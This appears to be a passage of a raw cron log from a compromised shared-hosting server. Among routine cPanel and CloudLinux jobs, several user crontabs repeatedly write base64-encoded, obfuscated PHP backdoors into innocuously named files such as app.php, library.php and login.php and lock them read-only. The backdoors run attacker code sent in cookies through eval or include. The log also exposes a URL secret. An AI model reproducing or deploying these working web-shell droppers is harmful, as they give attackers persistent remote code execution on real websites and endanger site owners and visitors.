"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:05:01 medusa CROND[14886]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 17:05:01 medusa CROND[14888]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:05:01 medusa CROND[14890]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:05:01 medusa CROND[14893]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:05:01 medusa CROND[14883]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 17:05:01 medusa CROND[14887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 17:05:01 medusa CROND[14880]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 17:05:01 medusa CROND[14879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:05:01 medusa CROND[14885]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 17:05:01 medusa CROND[14881]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 17:06:01 medusa CROND[2544]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:06:01 medusa CROND[2715]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:06:01 medusa CROND[2716]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:06:01 medusa CROND[2717]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:06:01 medusa CROND[2719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:06:01 medusa CROND[2720]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:06:01 medusa CROND[2721]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:06:01 medusa CROND[2730]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:06:01 medusa CROND[2734]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:06:01 medusa CROND[2729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:06:01 medusa CROND[2736]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:06:01 medusa CROND[2739]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:06:01 medusa CROND[2737]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 17:06:01 medusa CROND[2738]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 17:06:01 medusa CROND[2745]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 17:07:02 medusa CROND[23175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:07:02 medusa CROND[23209]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:07:02 medusa CROND[23210]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:07:02 medusa CROND[23211]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
